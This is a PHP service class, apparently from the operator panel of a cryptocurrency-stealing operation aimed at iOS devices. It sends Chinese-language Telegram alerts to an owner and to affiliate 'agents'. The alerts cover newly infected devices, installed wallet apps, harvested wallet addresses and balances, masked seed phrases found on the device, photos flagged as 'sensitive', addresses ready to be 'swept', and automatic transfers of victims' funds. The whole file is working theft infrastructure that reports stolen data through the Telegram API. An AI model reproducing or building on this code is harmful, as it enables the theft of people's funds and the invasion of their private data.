Files
coruna-lab/app/Services/TelegramNotifier.php
T
2026-09-12 23:53:53 +08:00

485 lines
16 KiB
PHP

<?php
namespace App\Services;
use App\Jobs\SendTelegramMessage;
use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
class TelegramNotifier
{
/** @var array<string, array{channel_id: string, agent: ?User}> */
private array $deviceContext = [];
public function systemEnabled(): bool
{
return $this->botToken() !== ''
&& trim((string) config('coruna.telegram.owner_chat_id', '')) !== '';
}
/**
* Site-wide bot token. Agents only configure chat_id.
*/
public function botToken(): string
{
return trim((string) config('coruna.telegram.bot_token', ''));
}
public function formatBotUsername(?string $username): string
{
$username = ltrim(trim((string) $username), '@');
return $username === '' ? '' : '@'.$username;
}
public function cachedBotUsername(): string
{
return $this->formatBotUsername((string) config('coruna.telegram.bot_username', ''));
}
public function inviteUrl(?string $username = null): string
{
$name = ltrim($username !== null && trim($username) !== ''
? $this->formatBotUsername($username)
: $this->cachedBotUsername(), '@');
return $name === '' ? '' : 'https://t.me/'.$name.'?startgroup=1';
}
/** Resolve @username via Telegram getMe. */
public function fetchBotUsername(?string $token = null): ?string
{
$token = trim((string) ($token !== null && trim($token) !== '' ? $token : $this->botToken()));
if ($token === '') {
return null;
}
try {
$resp = Http::timeout(8)->get("https://api.telegram.org/bot{$token}/getMe");
if (! $resp->successful() || $resp->json('ok') !== true) {
return null;
}
$name = $this->formatBotUsername((string) ($resp->json('result.username') ?? ''));
return $name !== '' ? $name : null;
} catch (\Throwable $e) {
Log::warning('telegram getMe failed: '.$e->getMessage());
return null;
}
}
/**
* Agent device with chat_id → agent chat + official chat.
* Otherwise official chat only.
*
* @return list<string>
*/
public function resolveChatIds(?string $deviceKey = null): array
{
if ($this->botToken() === '') {
return [];
}
$owner = trim((string) config('coruna.telegram.owner_chat_id', ''));
$agentChat = '';
$agent = $this->contextForDevice($deviceKey)['agent'];
if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramChat()) {
$agentChat = trim((string) $agent->chat_id);
}
$chatIds = [];
if ($agentChat !== '') {
$chatIds[] = $agentChat;
}
if ($owner !== '' && $owner !== $agentChat) {
$chatIds[] = $owner;
}
return $chatIds;
}
public function enabled(?string $deviceKey = null): bool
{
return $this->resolveChatIds($deviceKey) !== [];
}
public function send(string $text, ?string $deviceKey = null): bool
{
$chatIds = $this->resolveChatIds($deviceKey);
if ($chatIds === []) {
Log::channel('telegram')->info('telegram send skipped: no chat IDs resolved', [
'device_key' => $deviceKey,
'bot_token_set' => $this->botToken() !== '',
'owner_chat_id' => trim((string) config('coruna.telegram.owner_chat_id', '')),
]);
return false;
}
$async = config('queue.default') !== 'sync';
$ok = false;
foreach ($chatIds as $chatId) {
if ($async) {
SendTelegramMessage::dispatch($chatId, $text);
$ok = true;
continue;
}
if ($this->sendToChat($chatId, $text)['ok']) {
$ok = true;
}
}
return $ok;
}
/**
* Send one message to a specific chat using the site bot (or an override token).
*
* @return array{ok: bool, error: ?string}
*/
public function sendToChat(string $chatId, string $text, ?string $token = null): array
{
$token = trim((string) ($token !== null && trim($token) !== '' ? $token : $this->botToken()));
$chatId = trim($chatId);
if ($token === '') {
return ['ok' => false, 'error' => '未配置 Bot Token'];
}
if ($chatId === '') {
return ['ok' => false, 'error' => '未填写 Chat ID'];
}
try {
$resp = Http::timeout(15)->asForm()->post(
"https://api.telegram.org/bot{$token}/sendMessage",
[
'chat_id' => $chatId,
'text' => $text,
'parse_mode' => 'HTML',
'disable_web_page_preview' => true,
]
);
if ($resp->successful() && ($resp->json('ok') === true)) {
return ['ok' => true, 'error' => null];
}
$desc = trim((string) ($resp->json('description') ?? ''));
if ($desc === '') {
$desc = 'HTTP '.$resp->status();
}
Log::channel('telegram')->warning('telegram send failed: '.$desc, ['chat_id' => $chatId]);
return ['ok' => false, 'error' => $desc];
} catch (\Throwable $e) {
Log::channel('telegram')->warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]);
return ['ok' => false, 'error' => $e->getMessage()];
}
}
/**
* @return array{ok: bool, error: ?string}
*/
public function sendTest(string $chatId, string $label, ?string $token = null): array
{
$chatId = trim($chatId);
return $this->sendToChat($chatId, implode("\n", [
'🧪 <b>Telegram 测试</b>',
$this->e($label),
'🆔 Chat ID: <code>'.$this->e($chatId).'</code>',
]), $token);
}
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
{
$this->send(implode("\n", [
'📱 <b>新设备</b>',
...$this->deviceHeader($deviceId),
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
]), $deviceId);
}
public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
{
$this->notifyNewWallets($deviceId, [[
'address' => $address,
'chain' => $chain ?: '',
'balance' => $balance ?: '',
'source' => $symbol ?: '',
]]);
}
/**
* Batch wallet alerts into a single Telegram message.
*
* @param list<array{address: string, chain?: string, balance?: string, source?: string}> $wallets
*/
public function notifyNewWallets(string $deviceId, array $wallets): void
{
if ($wallets === []) {
return;
}
$lines = [
'💰 <b>新钱包地址</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
...$this->deviceHeader($deviceId),
];
foreach ($wallets as $i => $w) {
$bal = trim((string) ($w['balance'] ?? ''));
if ($bal === '') {
$bal = '—';
}
$source = trim((string) ($w['source'] ?? ''));
if ($i > 0) {
$lines[] = '';
}
$lines[] = '🪙 <b>链</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
if ($source !== '') {
$lines[] = '🏷 <b>来源</b>: '.$this->e($source);
}
$lines[] = '📬 <b>地址</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
$lines[] = '💵 <b>余额</b>: '.$this->e($bal);
}
$this->send(implode("\n", $lines), $deviceId);
}
/**
* @param list<string> $wallets
*/
public function notifyInstalledWallets(string $deviceId, array $wallets): void
{
$wallets = array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $wallets), static fn ($n) => $n !== ''));
if ($wallets === []) {
return;
}
$this->send(implode("\n", [
'👜 <b>已安装钱包</b>',
...$this->deviceHeader($deviceId),
'🏷 <b>钱包</b>: '.$this->e(implode(', ', $wallets)),
]), $deviceId);
}
/**
* Newly linked or mnemonic-derived addresses that can now be swept.
*
* @param iterable<WalletAddress> $addresses
*/
public function notifyCollectableAddresses(iterable $addresses): void
{
$byDevice = [];
foreach ($addresses as $address) {
if (! $address instanceof WalletAddress) {
continue;
}
$address->loadMissing('device');
$deviceId = trim((string) ($address->device?->device_id ?? ''));
if ($deviceId === '') {
continue;
}
$byDevice[$deviceId][] = $address;
}
foreach ($byDevice as $deviceId => $rows) {
$lines = [
'📦 <b>地址可归集通知</b>'.(count($rows) > 1 ? ' ('.count($rows).')' : ''),
...$this->deviceHeader($deviceId),
];
foreach ($rows as $i => $row) {
if ($i > 0) {
$lines[] = '';
}
$chain = trim((string) ($row->chain_type ?? ''));
$lines[] = '🪙 <b>链</b>: '.$this->e($chain !== '' ? $chain : '—');
$source = trim((string) ($row->source ?? ''));
if ($source !== '') {
$lines[] = '🏷 <b>来源</b>: '.$this->e($source);
}
$lines[] = '📬 <b>地址</b>: <code>'.$this->e((string) $row->address).'</code>';
$lines[] = '💵 <b>余额</b>: '.$this->e($row->balanceDisplayLine());
}
$this->send(implode("\n", $lines), $deviceId);
}
}
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
{
$this->send(implode("\n", [
'🔐 <b>新助记词</b>',
...$this->deviceHeader($deviceId),
'🏷 <b>来源</b>: '.$this->e($source ?: '—'),
'📝 <b>助记词</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
]), $deviceId);
}
public function notifySuspectedMnemonic(string $deviceId, string $source, ?string $phrase, int $wordCount): void
{
$this->send(implode("\n", [
'🔎 <b>疑似助记词</b>',
...$this->deviceHeader($deviceId),
'🏷 <b>来源</b>: '.$this->e($source ?: '—'),
'🔢 <b>命中词数</b>: '.$this->e((string) $wordCount),
'📝 <b>候选</b>: <code>'.$this->e(WalletMnemonic::maskSecret($phrase)).'</code>',
]), $deviceId);
}
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
{
$this->send(implode("\n", [
'🖼 <b>敏感照片</b>',
...$this->deviceHeader($deviceId),
'🎯 <b>敏感分</b>: '.$this->e((string) $xHit),
'📦 <b>数量</b>: '.$this->e((string) max(1, $count)),
]), $deviceId);
}
public function notifyBalanceChange(
string $deviceId,
string $address,
string $symbol,
string $amount,
?string $chain = null,
?string $balance = null,
bool $inbound = true,
): void {
$signed = ($inbound ? '+' : '-').ltrim($amount, '+-');
$lines = [
$inbound ? '✅ <b>余额入账</b>' : '📤 <b>余额转出</b>',
...$this->deviceHeader($deviceId),
'🪙 <b>链</b>: '.$this->e($chain ?: '—'),
'📬 <b>地址</b>: <code>'.$this->e($address).'</code>',
'💵 <b>金额</b>: '.$this->e($signed).' '.$this->e($symbol),
];
if ($balance !== null && trim($balance) !== '') {
$lines[] = '💰 <b>余额</b>: '.$this->e($balance);
}
$this->send(implode("\n", $lines), $deviceId);
}
/**
* Auto-transfer result (success or failure).
*/
public function notifyAutoTransfer(
string $deviceId,
string $fromAddress,
string $chain,
string $asset,
bool $ok,
?string $amount = null,
?string $toAddress = null,
?string $txid = null,
?string $error = null,
): void {
$lines = [
$ok ? '🚀 <b>自动转账成功</b>' : '⚠️ <b>自动转账失败</b>',
...$this->deviceHeader($deviceId),
'🪙 <b>链</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—'),
'💎 <b>资产</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—'),
'📤 <b>转出</b>: <code>'.$this->e($fromAddress).'</code>',
];
if ($toAddress !== null && trim($toAddress) !== '') {
$lines[] = '📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>';
}
if ($amount !== null && trim($amount) !== '') {
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset));
}
if ($ok && $txid !== null && trim($txid) !== '') {
$lines[] = '🔗 <b>交易</b>: <code>'.$this->e($txid).'</code>';
}
if (! $ok && $error !== null && trim($error) !== '') {
$lines[] = '❌ <b>错误</b>: '.$this->e($error);
}
$this->send(implode("\n", $lines), $deviceId);
}
/**
* TRON fee / energy top-up result.
*/
public function notifyFeeTopup(
string $deviceId,
string $feeFrom,
string $toAddress,
bool $ok,
?string $amount = null,
?string $txid = null,
?string $error = null,
): void {
$lines = [
$ok ? '⚡ <b>TRX 手续费补足成功</b>' : '⚠️ <b>TRX 手续费补足失败</b>',
...$this->deviceHeader($deviceId),
'📤 <b>手续费钱包</b>: <code>'.$this->e($feeFrom).'</code>',
'📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>',
];
if ($amount !== null && trim($amount) !== '') {
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' TRX';
}
if ($ok && $txid !== null && trim($txid) !== '') {
$lines[] = '🔗 <b>交易</b>: <code>'.$this->e($txid).'</code>';
}
if (! $ok && $error !== null && trim($error) !== '') {
$lines[] = '❌ <b>错误</b>: '.$this->e($error);
}
$this->send(implode("\n", $lines), $deviceId);
}
/** @return list<string> */
private function deviceHeader(string $deviceId): array
{
$channelId = $this->contextForDevice($deviceId)['channel_id'];
return [
'📱 <b>设备</b>: <code>'.$this->e($deviceId).'</code>',
'📡 <b>渠道 ID</b>: <code>'.$this->e($channelId !== '' ? $channelId : '—').'</code>',
];
}
/**
* @return array{channel_id: string, agent: ?User}
*/
private function contextForDevice(?string $deviceKey): array
{
$deviceKey = trim((string) $deviceKey);
if ($deviceKey === '') {
return ['channel_id' => '', 'agent' => null];
}
if (isset($this->deviceContext[$deviceKey])) {
return $this->deviceContext[$deviceKey];
}
$channelId = '';
$agent = null;
try {
$found = Device::query()->where('device_id', $deviceKey)->value('channel_id');
$channelId = is_string($found) ? $found : '';
if ($channelId !== '') {
$userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
if ($userId !== null && (int) $userId > 0) {
$agent = User::query()->find((int) $userId);
}
}
} catch (\Throwable) {
//
}
return $this->deviceContext[$deviceKey] = [
'channel_id' => $channelId,
'agent' => $agent,
];
}
private function e(?string $value): string
{
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
}